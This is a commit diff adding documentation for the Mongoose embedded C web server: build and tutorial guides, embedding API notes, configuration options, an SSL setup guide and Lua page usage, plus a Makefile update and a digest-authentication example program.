- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/examples`
That should generate mongoose/lib/armeabi/mongoose
- Using the adb tool (you need to have Android SDK installed for that),
push the generated mongoose binary to `/data/local` folder on device.
- From adb shell, navigate to `/data/local` and execute `./mongoose`.
- To test if the server is running fine, visit your web-browser and
navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
![screenshot](http://cesanta.com/images/android_build.png)
Notes:
- `jni` stands for Java Native Interface. Read up on Android NDK if you want
to know how to interact with the native C functions of mongoose in Android
Java applications.
- TODO: A Java application that interacts with the native binary or a
shared library.
+34
View File
@@ -0,0 +1,34 @@
How To Create A PHP Website With Mongoose
===========================================
## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
![screenshot](http://cesanta.com/images/tut_basic/tut1.png)
## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
![screenshot](http://cesanta.com/images/tut_basic/tut2.png)
## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML code:
![screenshot](http://cesanta.com/images/tut_basic/tut3.png)
## 4. Save this file as `index.html`:
![screenshot](http://cesanta.com/images/tut_basic/tut4.png)
## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
![screenshot](http://cesanta.com/images/tut_basic/tut5.png)
## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
![screenshot](http://cesanta.com/images/tut_basic/tut6.png)
## 7. Click on the mongoose icon and choose "Start browser" menu:
![screenshot](http://cesanta.com/images/tut_basic/tut7.png)
## 8. A browser will popup displaying `index.html` file. Now, you can expand your website by adding more content.
![screenshot](http://cesanta.com/images/tut_basic/tut8.png)
+173
View File
@@ -0,0 +1,173 @@
# Mongoose Embedding Guide
Embedding Mongoose is done in two steps:
1. Copy
[mongoose.c](https://raw.github.com/cesanta/mongoose/master/mongoose.c) and
[mongoose.h](https://raw.github.com/cesanta/mongoose/master/mongoose.h)
to your application's source tree and include them in the build.
2. Somewhere in the application code, call `mg_create_server()` to create
a server, configure it with `mg_set_option()` and loop with
`mg_poll_server()` until done. Call `mg_destroy_server()` to cleanup.
Here's a minimal application `app.c` that embeds mongoose:
#include "mongoose.h"
int main(void) {
struct mg_server *server = mg_create_server(NULL, NULL);
mg_set_option(server, "document_root", "."); // Serve current directory
mg_set_option(server, "listening_port", "8080"); // Open port 8080
for (;;) {
mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
}
mg_destroy_server(&server);
return 0;
}
To compile it, put `mongoose.c`, `mongoose.h` and `app.c` into one
folder, start terminal on UNIX or Visual Studio command line prompt on Windows,
and run the following command:
cc app.c mongoose.c -pthread -o app # on Unix
cl.exe app.c mongoose.c /TC /MD # on Windows
When run, this simple application opens port 8080 and serves static files,
CGI files and lists directory content in the current working directory.
It is possible to generate HTML page content. Mongoose can call user-defined
function when certain events occur.
That function is called _an event handler_, and it is the second parameter
to `mg_create_server()` function. Here is the example event handler function:
int event_handler(struct mg_connection *conn, enum mg_event ev) {
switch (ev) {
case MG_AUTH: return MG_TRUE;
default: return MG_FALSE;
}
}
Event handler is called by Mongoose with `struct mg_connection *`
pointer and an event number. `struct mg_connection *conn`
has all information about the request: HTTP headers, POST or websocket
data buffer, etcetera. `enum mg_event ev` tells which exactly event is sent.
For each event, an event handler returns a value which tells Mongoose how
to behave.
The sequence of events for every connection is this:
* `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
handler returns `MG_FALSE`, then Mongoose does not serve the request but
sends authorization request to the client. If `MG_TRUE` is returned,
then Mongoose continues on with the request.
* `MG_REQUEST` - Mongoose asks event handler to serve the request. If
event handler serves the request by sending a reply,
it should return `MG_TRUE`. Otherwise,
it should return `MG_FALSE` which tells Mongoose that request is not
served and Mongoose should serve it. For example, event handler might
choose to serve only RESTful API requests with URIs that start with
certain prefix, and let Mongoose serve all static files.
If event handler decides to serve the request, but doesn't have
all the data at the moment, it should return `MG_MORE`. That tells
Mongoose to send `MG_POLL` events on each iteration of `mg_poll_server()`
`mg_connection::connection_param` pointer is a placeholder to keep
user-specific data. For example, handler could decide to open a DB
connection and store DB connection handle in `connection_param`.
* `MG_POLL` is sent only to those connections which returned `MG_MORE`.
Event handler should try to complete the reply. If reply is completed,
then event handler should return `MG_TRUE`. Otherwise, it should
return `MG_FALSE`, and polling will continue until
handler returns `MG_TRUE`.
* `MG_CLOSE` is sent when the connection is closed. This event is used
to cleanup per-connection state stored in `connection_param`
if it was allocated.
Let's extend our minimal application example and
create an URI that will be served by user's C code. The app will handle
`/hello` URI by showing a hello message. So, when app is run,
http://127.0.0.1:8080/hello will say hello, and here's the code:
#include <string.h>
#include "mongoose.h"
static int event_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_AUTH) {
return MG_TRUE; // Authorize all requests
} else if (ev == MG_REQUEST && !strcmp(conn->uri, "/hello")) {
mg_printf_data(conn, "%s", "Hello world");
return MG_TRUE; // Mark as processed
} else {
return MG_FALSE; // Rest of the events are not processed
}
}
int main(void) {
struct mg_server *server = mg_create_server(NULL, event_handler);
mg_set_option(server, "document_root", ".");
mg_set_option(server, "listening_port", "8080");
for (;;) {
mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
}
mg_destroy_server(&server);
return 0;
}
## Example code
Mongoose source code contains a well-commented example code, listed below:
* [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c)
a minimalistic hello world example
* [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
shows how to handle form input
* [upload.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
shows how to upload files
* [websocket.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates websocket usage
* [auth.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates API-controlled Digest authorization
* [mjpg.c](https://github.com/cesanta/mongoose/blob/master/examples/mjpg.c) demonstrates MJPEG streaming implementation
## Compilation flags
Below is the list of compilation flags that enable or disable certain
features. By default, some features are enabled, and could be disabled
by setting appropriate `NO_*` flag. Features that are disabled by default
could be enabled by setting appropriate `USE_*` flag. Bare bones Mongoose
is quite small, about 30 kilobytes of compiled x86 code. Each feature adds
a couple of kilobytes to the executable size, and also has some runtime penalty.
Note that some flags start with `NS_` prefix. This is because Mongoose uses
[Net Skeleton](http://github.com/cesanta/net_skeleton) as a low-level
networking engine. If user code has `#include <net_skeleton.h>`, then
all Net Skeleton functions will be available too.
-DMONGOOSE_NO_AUTH Disable MD5 authorization support
-DMONGOOSE_NO_CGI Disable CGI support
-DMONGOOSE_NO_DAV Disable WebDAV support
(PUT, DELETE, MKCOL, PROPFIND methods)
-DMONGOOSE_NO_DIRECTORY_LISTING Disable directory listing
-DMONGOOSE_NO_FILESYSTEM Disables all file IO, serving from memory only
-DMONGOOSE_NO_LOGGING Disable access/error logging
-DMONGOOSE_NO_THREADS
-DMONGOOSE_NO_WEBSOCKET Disable WebSocket support
-DMONGOOSE_USE_IDLE_TIMEOUT_SECONDS=X Idle connection timeout, default is 30
-DMONGOOSE_USE_LUA Enable Lua scripting
-DMONGOOSE_USE_LUA_SQLITE3 Enable sqlite3 binding for Lua
-DMONGOOSE_USE_POST_SIZE_LIMIT=X POST requests larger than X will be
rejected, not set by default
-DMONGOOSE_USE_EXTRA_HTTP_HEADERS=X Append X to the HTTP headers
for static files, empty by default
-DNS_ENABLE_DEBUG Enables debug messages on stdout, very noisy
-DNS_ENABLE_SSL Enable SSL
-DNS_ENABLE_IPV6 Enable IPv6 support
-DNS_ENABLE_HEXDUMP Enables hexdump of sent and received traffic
-DNS_STACK_SIZE=X Sets stack size to X for ns_start_thread()
-DNS_DISABLE_THREADS Disable threads support
-DNS_DISABLE_SOCKETPAIR For systems without loopback interface
+23
View File
@@ -0,0 +1,23 @@
# Mongoose FAQ
### PHP doesn't work: getting empty page, or 'File not found' error
The reason for that is wrong paths to the interpreter. Remember that with PHP,
correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
full path to the PHP interpreter, e.g.:
mongoose -cgi_interpreter /full/path/to/php-cgi
### Mongoose fails to start
If Mongoose exits immediately when run, this
usually indicates a syntax error in the configuration file
(named `mongoose.conf` by default) or the command-line arguments.
Syntax checking is omitted from Mongoose to keep its size low. However,
the Manual should be of help. Note: the syntax changes from time to time,
so updating the config file might be necessary after executable update.
### Embedding with OpenSSL on Windows might fail because of calling convention
To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
flag to the Visual Studio project settings.
+19
View File
@@ -0,0 +1,19 @@
How To Share Files With Mongoose
===========================================
## 1. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside the directory you want to share:
![screenshot](http://cesanta.com/images/tut_sharing/tut1.png)
## 2. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
![screenshot](http://cesanta.com/images/tut_sharing/tut2.png)
## 3. Click on the mongoose icon and choose "Start browser" menu:
![screenshot](http://cesanta.com/images/tut_sharing/tut3.png)
## 4. A browser will popup displaying files. That's all! To access those files from another computer, start a browser and type `http://<your_machine_ip_address>:8080/` in the address bar.
![screenshot](http://cesanta.com/images/tut_sharing/tut4.png)
## Tip: to find out what is your machine IP address, take a look at http://windows.microsoft.com/en-us/windows/find-computers-ip-address
+44
View File
@@ -0,0 +1,44 @@
# Mongoose Internals
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
`mg_create_server()` creates a web server instance. An instance is a container
for the config options and list of active connections. To do the actual
serving, user must call `mg_poll_server()`, which iterates over all
active connections, performing `select()` syscall on all sockets with a
timeout of specified number of milliseconds. When `select()` returns, Mongoose
does an IO for each socket that has data to be sent or received. Application
code must call `mg_poll_server()` in a loop.
Mongoose server instance is designed to be used by a single thread.
It is an error to have more then
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
that take `struct mg_server *` parameter. Mongoose does not
mutex-protect `struct mg_server *`, therefore the best practice is
to call server management functions from the same thread (an IO thread).
On a multi-core systems, many server instances can be created, sharing the
same listening socket and managed by separate threads (see [multi_threaded.c](https://github.com/cesanta/mongoose/blob/master/examples/multi_threaded.c))
example.
It is an error to pass and store `struct mg_connection *` pointers for
later use to send data. The reason is that they can be invalidated by the
next `mg_poll_server()` call. For such a task,
there is `mg_iterate_over_connections()` API
exists, which sends a callback function to the IO thread, then IO thread
calls specified function for all active connection.
When mongoose buffers in HTTP request and successfully parses it, it calls
appropriate URI handler immediately for GET requests. For POST requests,
Mongoose delays the call until the whole POST request is buffered in memory.
POST data is available to the callback as `struct mg_connection::content`,
and POST data length is in `struct mg_connection::content_len`.
Note that websocket connections are treated the same way. Mongoose buffers
websocket frame in memory, and calls URI handler when frame is fully
buffered. Frame data is available `struct mg_connection::content`, and
data length is in `struct mg_connection::content_len`, i.e. very similar to
the POST request. `struct mg_connection::is_websocket` flag indicates
whether the request is websocket or not. Also, for websocket requests,
there is `struct mg_connection::wsbits` field which contains first byte
of the websocket frame which URI handler can examine. Note that to
reply to the websocket client, `mg_websocket_write()` should be used.
To reply to the plain HTTP client, `mg_write()` should be used.
+51
View File
@@ -0,0 +1,51 @@
# Mongoose Lua Server Pages
Pre-built Windows and Mac mongoose binaries support Lua Server Pages
functionality.
That means it is possible to write PHP-like scripts with mongoose
using Lua programming language instead of PHP. Lua is known
for it's speed and small size. Mongoose uses Lua version 5.2.3, the
documentation for it can be found at
[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
To create a Lua Page, make a file that is called `ANY_NAME.lp`. For example,
`my_page.lp`. It is important to have a file
name that ends up with `.lp`, cause this is the way mongoose recognises
Lua Page file. The contents of the file, just like
with PHP, is HTML with embedded Lua code. Lua code must be enclosed within
`&lt;? ?&gt;` blocks, and can appear anywhere on the page.
Mongoose does not send HTTP headers for Lua pages. Therefore,
every Lua Page must begin with HTTP status line and headers, like this:
<? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
<html><body>
<span>Today is:</span> <? mg.write(os.date("%A")) ?>
</body></html>
Note that this example uses function `mg.write()`, which prints data to the
web page. Using function `mg.write()` is the way to generate web content from
inside Lua code. In addition to `mg.write()`, all standard library functions
are accessible from the Lua code (please check reference manual for details).
Information about the request is available via the `mg.request_info` object.
I contains request method, all headers, etcetera. Please refer to
`struct mg_request_info` definition in
[mongoose.h](https://github.com/cesanta/mongoose/blob/master/mongoose.h)
to see what is available via the `mg.request_info` object.
Check out [prime_numbers.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/prime_numbers.lp) for some example.
Mongoose exports the following to the Lua Server Page:
mg.write(str) -- writes string to the client
mg.onerror(msg) -- error handler, can be overridden
mg.request_info -- a table with request information
Using Lua scripting it is easy to emulate SSI functionality. For example,
to include the content of another file, one can write:
<? mg.write(io.open('MY_FILE.TXT'):read('*all')) ?>
To serve a Lua Page, mongoose creates Lua context. That context is used for
all Lua blocks within the page. That means, all Lua blocks on the same page
share the same context. If one block defines a variable, for example, that
variable is visible in all following blocks.
+147
View File
@@ -0,0 +1,147 @@
# Mongoose Configuration Options
### access\_control\_list
An Access Control List (ACL) allows restrictions to be put on the list of IP
addresses which have access to the web server. In the case of the Mongoose
web server, the ACL is a comma separated list of IP subnets, where each
subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
this means to deny only that single IP address.
Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
all accesses. On each request the full list is traversed, and
the last match wins. Example: `$ mongoose -access_control_list -0.0.0.0/0,+192.168/16` to deny all acccesses except those from `192.168/16` subnet. To learn
more about subnet masks, see the
[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
Default: not set, all accesses are allowed.
### access\_log\_file
Path to a file for access logs. Either full path, or relative to the
mongoose executable. Default: not set, no query logging is done.
### auth_domain
Authorization realm used in `.htpasswd` authorization. Default: `mydomain.com`
### cgi_interpreter
Path to an executable to be used use as an interpreter for __all__ CGI scripts
regardless script extension. Default: not set, Mongoose looks at
[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\).
For example, if both PHP and perl CGIs are used, then
`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
respective CGI scripts. Note that paths should be either full file paths,
or file paths relative to the directory where mongoose executable is located.
If all CGIs use the same interpreter, for example they are all PHP, then
`cgi_interpreter` option can be set to the path to `php-cgi.exe` executable and
shebang line in the CGI scripts can be omitted.
**Note**: PHP scripts must use `php-cgi.exe`, not `php.exe`.
### cgi_pattern
All files that match `cgi_pattern` are treated as CGI files. Default pattern
allows CGI files be anywhere. To restrict CGIs to a certain directory,
use `/path/to/cgi-bin/**.cgi` as a pattern. Note that **full file path** is
matched against the pattern, not the URI.
When Mongoose starts CGI program, it creates new environment for it (in
contrast, usually child program inherits the environment from parent). Several
environment variables however are inherited from Mongoose's environment,
they are: `PATH`, `TMP`, `TEMP`, `TMPDIR`, `PERLLIB`, `MONGOOSE_CGI`. On UNIX
it is also `LD_LIBRARY_PATH`. On Windows it is also `COMSPEC`, `SYSTEMROOT`,
`SystemDrive`, `ProgramFiles`, `ProgramFiles(x86)`, `CommonProgramFiles(x86)`.
Default: `**.cgi$|**.pl$|**.php$`
### dav\_auth\_file
Authentication file for WebDAV mutation requests: `PUT`, `DELETE`, `MKCOL`.
The format of that file is the same as for the `.htpasswd` file
used for digest authentication. It can be created and managed by
`mongoose -A` command. Default: not set, WebDAV mutations are disallowed.
### document_root
A directory to serve. Default: current working directory.
### enable\_directory\_listing
Enable directory listing, either `yes` or `no`. Default: `yes`.
### extra\_mime\_types
Extra mime types to recognize, in form `extension1=type1,extension2=type2,...`.
Extension must include dot. Example:
`mongoose -extra_mime_types .cpp=plain/text,.java=plain/text`. Default: not set.
### global\_auth\_file
Path to a global passwords file, either full path or relative to the mongoose
executable. If set, per-directory `.htpasswd` files are ignored,
and all requests are authorised against that file. Use `mongoose -A` to
manage passwords, or third party utilities like
[htpasswd-generator](http://www.askapache.com/online-tools/htpasswd-generator).
Default: not set, per-directory `.htpasswd` files are respected.
### hide\_files\_patterns
A pattern for the files to hide. Files that match the pattern will not
show up in directory listing and return `404 Not Found` if requested. Pattern
must be for a file name only, not including directory name, e.g.
`mongoose -hide_files_patterns secret.txt|even_more_secret.txt`. Default:
not set.
### idle\_timeout\_ms
Timeout for idle connections in milliseconds. Default: `30000` (30 seconds)
### index_files
Comma-separated list of files to be treated as directory index
files. Default: `index.html,index.htm,index.cgi,index.shtml,index.php`
### ssl_certificate
Path to SSL certificate file. The file must be in PEM format,
and it must have both private key and certificate, see for example
[ssl_cert.pem](https://github.com/cesanta/mongoose/blob/master/build/ssl_cert.pem). If this option is set, then Mongoose serves SSL connections on
`listening_port`. Default: not set.
### listening_port
Port to listen on. Port could be prepended by the specific IP address to bind
to, e.g. `mongoose -listening_port 127.0.0.1:8080`. Otherwise Mongoose
will bind to all addresses. Default: 8080.
### run\_as\_user
Switch to given user credentials after startup. UNIX-only. This option is
required when mongoose needs to bind on privileged port on UNIX, e.g.
$ sudo mongoose -listening_port 80 -run_as_user nobody
Default: not set.
### url\_rewrites
Comma-separated list of URL rewrites in the form of
`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
it constructs the file name to show by combining `document_root` and the URI.
However, if the rewrite option is used and `uri_pattern` matches the
requested URI, then `document_root` is ignored. Instead,
`file_or_directory_path` is used, which should be a full path name or
a path relative to the web server's current working directory. Note that
`uri_pattern`, as all mongoose patterns, is a prefix pattern. If `uri_pattern`
is a number, then it is treated as HTTP error code, and `file_or_directory_path`
should be an URI to redirect to. Mongoose will issue `302` temporary redirect
to the specified URI with following parameters:
`?code=HTTP_ERROR_CODE&orig_uri=ORIGINAL_URI&query_string=QUERY_STRING`.
If `uri_pattern` starts with `@` symbol, then Mongoose compares
it with the `HOST` header of the request. If they are equal, Mongoose sets
document root to `file_or_directory_path`, implementing virtual hosts support.
Examples:
# Redirect all accesses to `.doc` files to a special script
mongoose -url_rewrites **.doc$=/path/to/cgi-bin/handle_doc.cgi
# Implement user home directories support
mongoose -url_rewrites /~joe/=/home/joe/,/~bill=/home/bill/
# Redirect 404 errors to a specific error page
mongoose -url_rewrites 404=/cgi-bin/error.cgi
# Virtual hosts example: serve foo.com domain from different directory
mongoose -url_rewrites @foo.com=/var/www/foo.com
Default: not set.
+49
View File
@@ -0,0 +1,49 @@
How To Create A PHP Website With Mongoose
===========================================
## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
![screenshot](http://cesanta.com/images/tut_php/tut1.png)
## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
![screenshot](http://cesanta.com/images/tut_php/tut2.png)
## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML / PHP code:
![screenshot](http://cesanta.com/images/tut_php/tut3.png)
## 4. Save this file as `index.php`:
![screenshot](http://cesanta.com/images/tut_php/tut4.png)
## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
![screenshot](http://cesanta.com/images/tut_php/tut5.png)
## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
![screenshot](http://cesanta.com/images/tut_php/tut6.png)
## 7. Download PHP 5.3 zip (do NOT download PHP 5.5 cause you might have missing DLLs problem) from http://windows.php.net/download and extract it to `C:\php5` directory:
![screenshot](http://cesanta.com/images/tut_php/tut7.png)
## 8. Click on the mongoose icon and choose "Edit Settings" menu.:
![screenshot](http://cesanta.com/images/tut_php/tut8.png)
## 9. A settings dialog will appear. Click on `cgi_interpreter` button:
![screenshot](http://cesanta.com/images/tut_php/tut9.png)
## 10. Choose `C:\php5\php-cgi.exe` and click "Save Settings":
![screenshot](http://cesanta.com/images/tut_php/tut10.png)
## 11. Click on the mongoose icon and choose "Start browser" menu:
![screenshot](http://cesanta.com/images/tut_php/tut11.png)
## 12. A browser will popup displaying `index.php`.
![screenshot](http://cesanta.com/images/tut_php/tut12.png)
+75
View File
@@ -0,0 +1,75 @@
# Mongoose SSL guide
SSL is a protocol that makes web communication secure. To enable SSL
in mongoose, 3 steps are required:
1. Valid certificate file must be created
2. `ssl_certificate` options must be set to contain path to the
certificate file.
3. `listening_ports` option must contain a port number with letter `s`
appended to it, which instructs Mongoose to use SSL for all connections
made to that port.
Below is the `mongoose.conf` file snippet for typical SSL setup:
document_root www_root # Serve files in www_root directory
listening_ports 80r,443s # Redirect all HTTP requests to HTTPS
ssl_certificate ssl_cert.pem # Location of certificate file
## How to create SSL certificate file
SSL certificate file is a text file that must contain at least two
sections:
1. A private key
2. A certificate
Both sections should be chunks of text in PEM format. When PEM file is
opened in a text editor, it looks like this:
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
Two aforementioned sections are clearly seen. Typically, those section
are bigger then in the example shown. The text between the `BEGIN` and
`END` is the text representation of binary data, a private key and a
certificate. Therefore, in order to create a certificate file,
* private key must be converted to PEM format
* certificate must be converted to PEM format
* those two should be concatenated into a single file
If the certificate chain in used, a chain file also needs to be
converted into PEM format and appended to the certificate file.
## How SSL works
SSL is a protocol that can encrypt communication between two parties. If third
party observes all messages passed by, it would be very
hard for the third party (though not impossible) to decrypt the communication.
The idea is based on so-called public key encryption. Communicating parties
have two keys: a public key and a private key. A public key is advertised
to everybody, and it is contained in a certificate. A private key is kept
secret. Security algorithm works in a way that anybody can encrypt
a message using public key, and only private key can decrypt it.
This is why web server needs both private key and certificate: private key
is used to decrypt incoming messages, and certificate is used to tell the
public key to the other party. When communication starts, parties exchange
their public keys, and keep private keys to themselves. Man-in-the-middle
who observes the communication is unable to decrypt the messages cause
private keys are required for decryption.
Encryption algorithms are built on top of hard mathematical problem, which
makes it very expensive for man-in-the-middle to compute private keys.
For example, RSA algorithm is based on a mathematical problem of factorization.
It is easy to generate two very large prime numbers `P` and `Q` and make
a product `P * Q`. But given a product, it is very hard to recover these
two prime numbers - this is called factorization.
+86
View File
@@ -0,0 +1,86 @@
# Mongoose User Guide
Mongoose is small and easy to use web server built on top of
mongoose library. It is designed with maximum simplicity in mind. For example,
to share any directory, just drop mongoose executable in that directory,
double-click it (on UNIX, run it from shell) and launch a browser at
[http://localhost:8080](http://localhost:8080) Note that 'localhost' should
be changed to a machine's name if a folder is accessed from other computer.
On Windows and Mac, Mongoose iconifies itself to the system tray when started.
Right-click on the icon to pop up a menu, where it is possible to stop
mongoose, or configure it.
On UNIX, `mongoose` is a command line utility. Running `mongoose` in
terminal, optionally followed by configuration parameters
(`mongoose [OPTIONS]`) or configuration file name
(`mongoose [config_file_name]`) starts the
web server:
$ mongoose -document_root /var/www # Running mongoose with cmdline options
$ mongoose /etc/my_config.txt # Running mongoose with config file
$ mongoose # Running with no parameters. This will
# serve current directory on port 8080
Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
stops the server.
When started, mongoose first searches for the configuration file.
If configuration file is specified explicitly in the command line, then
specified configuration file is used.
Otherwise, mongoose would search for file `mongoose.conf` in the same directory
where binary is located, and use it. Configuration file can be absent.
Configuration file is a sequence of lines, each line containing
command line argument name and it's value. Empty lines and lines beginning
with `#` are ignored. Here is the example of `mongoose.conf` file:
# This is a comment
document_root C:\www
listening_port 80
ssl_certificate C:\mongoose\ssl_cert.pem
Command line arguments are highest priority and can override
configuration file settings. For example, if `mongoose.conf` has line
`document_root /var/www`, and mongoose has been started as
`mongoose -document_root /etc`, then `/etc` directory will be used as
document root.
Note that configuration options on the command line must start with `-`,
and their names are the same as in the config file. Exampli gratia,
the following two setups are equivalent:
$ mongoose -listening_port 1234 -document_root /var/www
$ cat > mongoose.conf
listening_ports 1234
document_root /var/www
^D
$ mongoose
Mongoose can also be used to modify `.htpasswd` passwords file:
$ mongoose -A .htpasswd mydomain.com user_name user_password
Unlike other web servers, mongoose does not require CGI scripts be located in
a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
recognized by the file name pattern. Mongoose uses shell-like glob
patterns. Pattern match starts at the beginning of the string, so essentially
patterns are prefix patterns. Syntax is as follows:
** Matches everything
* Matches everything but slash character, '/'
? Matches any character
$ Matches the end of the string
| Matches if pattern on the left side or the right side matches.
All other characters in the pattern match themselves. Examples:
# Pattern Meaning
**.cgi$ Any string that ends with .cgi
/foo Any string that begins with /foo
**a$|**b$ Any string that ends with a or b
To restrict CGI files only to `/cgi-bin/` directory, use this setting:
$ mongoose -cgi_pattern /cgi-bin/*.cgi # Emulate /cgi-bin/ restriction
+38 -32
View File
@@ -1,56 +1,62 @@
CFLAGS = -W -Wall -I.. -pthread -g -pipe $(COPT) CFLAGS = -W -Wall -I.. -pthread -g -pipe $(CFLAGS_EXTRA)
DLL_FLAGS = -DLUA_COMPAT_ALL -I../build RM = rm -rf
OUT = -o $@
ifeq ($(OS),Windows_NT) ifeq ($(OS),Windows_NT)
MSVC = ../../vc6
RM = del /q /f
OUT =
CC = $(MSVC)/bin/cl
CFLAGS = /MD /TC /nologo /W3 /I$(MSVC)/include /I..
CFLAGS += /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
CFLAGS += $(CFLAGS_EXTRA)
else else
UNAME_S := $(shell uname -s) UNAME_S := $(shell uname -s)
DLL_FLAGS += -shared
ifeq ($(UNAME_S),Linux) ifeq ($(UNAME_S),Linux)
CFLAGS += -ldl CFLAGS += -ldl
endif endif
ifeq ($(UNAME_S),Darwin) ifeq ($(UNAME_S),Darwin)
# DLL_FLAGS += -bundle -undefined dynamic_lookup -dynamiclib
DLL_FLAGS += -flat_namespace -undefined suppress -dynamiclib
endif endif
endif endif
all: hello upload post websocket chat all: hello websocket server post multi_threaded upload auth
hello: # To enable Lua in a server, uncomment following lines
$(CC) hello.c ../mongoose.c -o $@ $(CFLAGS) LUA = ../lua-5.2.3/src
#CFLAGS += -I$(LUA) -L$(LUA) -llua -DMONGOOSE_USE_LUA
upload: server: server.c ../mongoose.c
$(CC) upload.c ../mongoose.c -o $@ $(CFLAGS) $(CC) server.c ../mongoose.c $(OUT) $(CFLAGS)
post: hello: hello.c ../mongoose.c
$(CC) post.c ../mongoose.c -o $@ $(CFLAGS) $(CC) hello.c ../mongoose.c $(OUT) $(CFLAGS)
websocket: websocket: websocket_html.c websocket.c ../mongoose.c
$(CC) -DUSE_WEBSOCKET websocket.c ../mongoose.c -o $@ $(CFLAGS) $(CC) websocket.c websocket_html.c ../mongoose.c $(OUT) $(CFLAGS)
chat: post: post.c ../mongoose.c
$(CC) chat.c ../mongoose.c -o $@ $(CFLAGS) $(CC) post.c ../mongoose.c $(OUT) $(CFLAGS)
lua_dll: multi_threaded: multi_threaded.c ../mongoose.c
$(CC) lua_dll.c ../build/lua_5.2.1.c -o $@.so $(CFLAGS) $(DLL_FLAGS) $(CC) multi_threaded.c ../mongoose.c $(OUT) $(CFLAGS)
upload: upload.c ../mongoose.c
$(CC) upload.c ../mongoose.c $(OUT) $(CFLAGS)
auth: auth.c ../mongoose.c
$(CC) auth.c ../mongoose.c $(OUT) $(CFLAGS)
mjpg: mjpg.c ../mongoose.c
$(CC) mjpg.c ../mongoose.c $(OUT) $(CFLAGS)
MSVC = ../../vc6 websocket_html.c: websocket.html
CL = $(MSVC)/bin/cl perl mkdata.pl $< > $@
CLFLAGS = /MD /TC /nologo $(DBG) /W3 /DNO_SSL \
/I$(MSVC)/include /I.. /Dsnprintf=_snprintf
LFLAGS = /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
windows: u:
$(CL) upload.c ../mongoose.c $(CLFLAGS) $(LFLAGS) g++ unit_test.c -Wall -W -pedantic -lssl -g -O0 $(CFLAGS_EXTRA) && ./a.out
$(CL) hello.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) upload.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) post.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) post.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) /DUSE_WEBSOCKET websocket.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
#$(CL) lua_dll.c $(CLFLAGS) $(DLL_FLAGS) /DLL $(LFLAGS) /SUBSYSTEM:WINDOWS /ENTRY:luaopen_lua_dll /EXPORT:luaopen_lua_dll /out:lua_dll.dll
clean: clean:
rm -rf hello upload post websocket chat *.exe *.dSYM *.obj .*o -@$(RM) hello mjpg upload post websocket auth server multi_threaded websocket_html.c *.exe *.dSYM *.obj .*o
+36
View File
@@ -0,0 +1,36 @@
#include <stdio.h>
#include <string.h>
#include "mongoose.h"
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_AUTH) {
int result = MG_FALSE; // Not authorized
FILE *fp;
// To populate passwords file, do
// mongoose -A my_passwords.txt mydomain.com admin admin
if ((fp = fopen("my_passwords.txt", "r")) != NULL) {
result = mg_authorize_digest(conn, fp);
fclose(fp);
}
return result;
}
return MG_FALSE;
}
int main(void) {
struct mg_server *server = mg_create_server(NULL, ev_handler);
mg_set_option(server, "listening_port", "8080");
mg_set_option(server, "document_root", ".");
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
mg_destroy_server(&server);
return 0;
}
+37
View File
